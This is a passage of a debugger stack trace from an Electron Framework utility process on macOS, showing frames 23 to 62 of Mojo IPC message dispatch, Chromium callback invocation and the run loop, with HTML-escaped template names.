    frame #23: 0x00000001119d5b78 Electron Framework`mojo::MessageDispatcher::Accept(this=0x0000013c00082de8, message=0x000000016b051150) at message_dispatcher.cc:43:19 [opt]
    frame #24: 0x00000001119d2d40 Electron Framework`mojo::InterfaceEndpointClient::HandleIncomingMessage(this=0x0000013c00082d00, message=0x000000016b051150) at interface_endpoint_client.cc:706:20 [opt]
    frame #25: 0x00000001119de6cc Electron Framework`mojo::internal::MultiplexRouter::Accept(mojo::Message*) at multiplex_router.cc:1096:42 [opt]
    frame #26: 0x00000001119de6b4 Electron Framework`mojo::internal::MultiplexRouter::Accept(this=0x0000013c00092800, message=&amp;lt;unavailable&amp;gt;) at multiplex_router.cc:710:7 [opt]
    frame #27: 0x00000001119d5b78 Electron Framework`mojo::MessageDispatcher::Accept(this=0x0000013c00092830, message=0x000000016b051300) at message_dispatcher.cc:43:19 [opt]
    frame #28: 0x00000001119ce6a8 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::DispatchMessage(this=0x0000013c00092860, handle=mojo::ScopedMessageHandle @ 0x000000016b0512c0) at connector.cc:554:49 [opt]
    frame #29: 0x00000001119ce5bc Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) at connector.cc:611:14 [opt]
    frame #30: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::OnHandleReadyInternal(this=0x0000013c00092860, result=&amp;lt;unavailable&amp;gt;) at connector.cc:444:3 [opt]
    frame #31: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] mojo::Connector::OnWatcherHandleReady(this=0x0000013c00092860, interface_name=&quot;&quot;, result=&amp;lt;unavailable&amp;gt;) at connector.cc:410:3 [opt]
    frame #32: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::DecayedFunctorTraits&amp;lt;void (mojo::Connector::*)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;::Invoke&amp;lt;void (mojo::Connector::*)(char const*, unsigned int), mojo::Connector*, char const*, unsigned int&amp;gt;(method=&amp;lt;unavailable&amp;gt;, receiver_ptr=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:738:12 [opt]
    frame #33: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::InvokeHelper&amp;lt;false, base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, void, 0ul, 1ul&amp;gt;::MakeItSo&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), std::__Cr::tuple&amp;lt;base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt; const&amp;amp;, unsigned int&amp;gt;(functor=&amp;lt;unavailable&amp;gt;, bound=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:930:12 [opt]
    frame #34: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int) [inlined] void base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::RunImpl&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), std::__Cr::tuple&amp;lt;base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt; const&amp;amp;, 0ul, 1ul&amp;gt;(functor=&amp;lt;unavailable&amp;gt;, bound=&amp;lt;unavailable&amp;gt;, (null)=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:1067:14 [opt]
    frame #35: 0x00000001119ce51c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::Connector::* const&amp;amp;)(char const*, unsigned int), mojo::Connector*, char const* const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::Connector::*)(char const*, unsigned int), base::internal::UnretainedWrapper&amp;lt;mojo::Connector, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;, base::internal::UnretainedWrapper&amp;lt;char const, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0&amp;gt;&amp;gt;, void (unsigned int)&amp;gt;::Run(base=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:987:12 [opt]
    frame #36: 0x000000010e404a4c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [inlined] base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;::Run(this=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) const &amp;amp; at callback.h:344:12 [opt]
    frame #37: 0x000000010e404a18 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [inlined] mojo::SimpleWatcher::DiscardReadyState(callback=&amp;lt;unavailable&amp;gt;, result=&amp;lt;unavailable&amp;gt;, state=&amp;lt;unavailable&amp;gt;) at simple_watcher.h:192:14 [opt]
    frame #38: 0x000000010e404a18 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [inlined] void base::internal::DecayedFunctorTraits&amp;lt;void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;::Invoke&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;&amp;gt;(function=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:671:12 [opt]
    frame #39: 0x000000010e404a04 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [inlined] void base::internal::InvokeHelper&amp;lt;false, base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, void, 0ul&amp;gt;::MakeItSo&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), std::__Cr::tuple&amp;lt;base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;&amp;gt;(functor=&amp;lt;unavailable&amp;gt;, bound=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;, args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:930:12 [opt]
    frame #40: 0x000000010e404a04 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&amp;amp;) [inlined] void base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::RunImpl&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), std::__Cr::tuple&amp;lt;base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt; const&amp;amp;, 0ul&amp;gt;(functor=&amp;lt;unavailable&amp;gt;, bound=&amp;lt;unavailable&amp;gt;, (null)=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:1067:14 [opt]
    frame #41: 0x000000010e404a04 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (* const&amp;amp;)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;false, true, false, void (*)(base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt; const&amp;amp;, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::RepeatingCallback&amp;lt;void (unsigned int)&amp;gt;&amp;gt;, void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(base=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;, unbound_args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:987:12 [opt]
    frame #42: 0x00000001119f2388 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) [inlined] base::RepeatingCallback&amp;lt;void (unsigned int, mojo::HandleSignalsState const&amp;amp;)&amp;gt;::Run(this=0x000000016b051468, args=0, args=&amp;lt;unavailable&amp;gt;) const &amp;amp; at callback.h:344:12 [opt]
    frame #43: 0x00000001119f237c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) at simple_watcher.cc:278:14 [opt]
    frame #44: 0x00000001119f237c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::DecayedFunctorTraits&amp;lt;void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;::Invoke&amp;lt;void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt; const&amp;amp;, int, unsigned int, mojo::HandleSignalsState&amp;gt;(method=(Electron Framework`mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&amp;amp;) at simple_watcher.cc:247), receiver_ptr=&amp;lt;unavailable&amp;gt;, args=0x0000013c00160280, args=0x0000013c00160284, args=&amp;lt;unavailable&amp;gt;) at bind_internal.h:738:12 [opt]
    frame #45: 0x00000001119f237c Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::InvokeHelper&amp;lt;true, base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, void, 0ul, 1ul, 2ul, 3ul&amp;gt;::MakeItSo&amp;lt;void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), std::__Cr::tuple&amp;lt;base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;&amp;gt;(functor=0x0000013c00160260, bound=&amp;lt;unavailable&amp;gt;) at bind_internal.h:954:5 [opt]
    frame #46: 0x00000001119f2298 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base::internal::BindStateBase*) [inlined] void base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunImpl&amp;lt;void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), std::__Cr::tuple&amp;lt;base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, 0ul, 1ul, 2ul, 3ul&amp;gt;(functor=0x0000013c00160260, bound=&amp;lt;unavailable&amp;gt;, (null)=&amp;lt;unavailable&amp;gt;) at bind_internal.h:1067:14 [opt]
    frame #47: 0x00000001119f2298 Electron Framework`base::internal::Invoker&amp;lt;base::internal::FunctorTraits&amp;lt;void (mojo::SimpleWatcher::*&amp;amp;&amp;amp;)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;&amp;amp;&amp;amp;, int&amp;amp;&amp;amp;, unsigned int&amp;amp;&amp;amp;, mojo::HandleSignalsState&amp;amp;&amp;amp;&amp;gt;, base::internal::BindState&amp;lt;true, true, false, void (mojo::SimpleWatcher::*)(int, unsigned int, mojo::HandleSignalsState const&amp;amp;), base::WeakPtr&amp;lt;mojo::SimpleWatcher&amp;gt;, int, unsigned int, mojo::HandleSignalsState&amp;gt;, void ()&amp;gt;::RunOnce(base=0x0000013c00160240) at bind_internal.h:980:12 [opt]
    frame #48: 0x00000001116bea7c Electron Framework`base::TaskAnnotator::RunTaskImpl(base::PendingTask&amp;amp;) [inlined] base::OnceCallback&amp;lt;void ()&amp;gt;::Run(this=0x0000013c00261078) &amp;amp;&amp;amp; at callback.h:156:12 [opt]
    frame #49: 0x00000001116bea64 Electron Framework`base::TaskAnnotator::RunTaskImpl(this=&amp;lt;unavailable&amp;gt;, pending_task=0x0000013c00261000) at task_annotator.cc:203:34 [opt]
    frame #50: 0x00000001116d8f5c Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) [inlined] void base::TaskAnnotator::RunTask&amp;lt;base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)::$_0&amp;gt;(this=&amp;lt;unavailable&amp;gt;, event_name=&amp;lt;unavailable&amp;gt;, pending_task=0x0000013c00261000, args=&amp;lt;unavailable&amp;gt;) at task_annotator.h:90:5 [opt]
    frame #51: 0x00000001116d8f3c Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(this=0x0000013c00080000, continuation_lazy_now=0x000000016b0518c8) at thread_controller_with_message_pump_impl.cc:473:23 [opt]
    frame #52: 0x00000001116d956c Electron Framework`non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() [inlined] base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(this=0x0000013c00080000) at thread_controller_with_message_pump_impl.cc:338:40 [opt]
    frame #53: 0x00000001116d952c Electron Framework`non-virtual thunk to base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() at thread_controller_with_message_pump_impl.cc:0 [opt]
    frame #54: 0x000000011168056c Electron Framework`base::MessagePumpDefault::Run(this=0x0000013c00060440, delegate=0x0000013c000800e8) at message_pump_default.cc:40:55 [opt]
    frame #55: 0x00000001116d9bd4 Electron Framework`base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(this=0x0000013c00080000, application_tasks_allowed=true, timeout=&amp;lt;unavailable&amp;gt;) at thread_controller_with_message_pump_impl.cc:641:12 [opt]
    frame #56: 0x00000001116a4f04 Electron Framework`base::RunLoop::Run(this=0x000000016b051b10, location=&amp;lt;unavailable&amp;gt;) at run_loop.cc:134:14 [opt]
    frame #57: 0x00000001110e24c4 Electron Framework`content::UtilityMain(parameters=&amp;lt;unavailable&amp;gt;) at utility_main.cc:439:12 [opt]
    frame #58: 0x000000010e6ef7e4 Electron Framework`content::RunOtherNamedProcessTypeMain(process_type=&amp;lt;unavailable&amp;gt;, main_function_params=MainFunctionParams @ 0x000000016b051dd0, delegate=0x000000016b0521f0) at content_main_runner_impl.cc:775:14 [opt]
    frame #59: 0x000000010e6f04e0 Electron Framework`content::ContentMainRunnerImpl::Run(this=0x00000128002e0280) at content_main_runner_impl.cc:1150:10 [opt]
    frame #60: 0x000000010e6eee84 Electron Framework`content::RunContentProcess(params=&amp;lt;unavailable&amp;gt;, content_main_runner=&amp;lt;unavailable&amp;gt;) at content_main.cc:331:36 [opt]
    frame #61: 0x000000010e6ef048 Electron Framework`content::ContentMain(params=ContentMainParams @ 0x000000016b052178) at content_main.cc:344:10 [opt]
    frame #62: 0x000000010e3c852c Electron Framework`ElectronMain(argc=&amp;lt;unavailable&amp;gt;, argv=&amp;lt;unavailable&amp;gt;) at electron_library_main.mm:26:10 [opt]
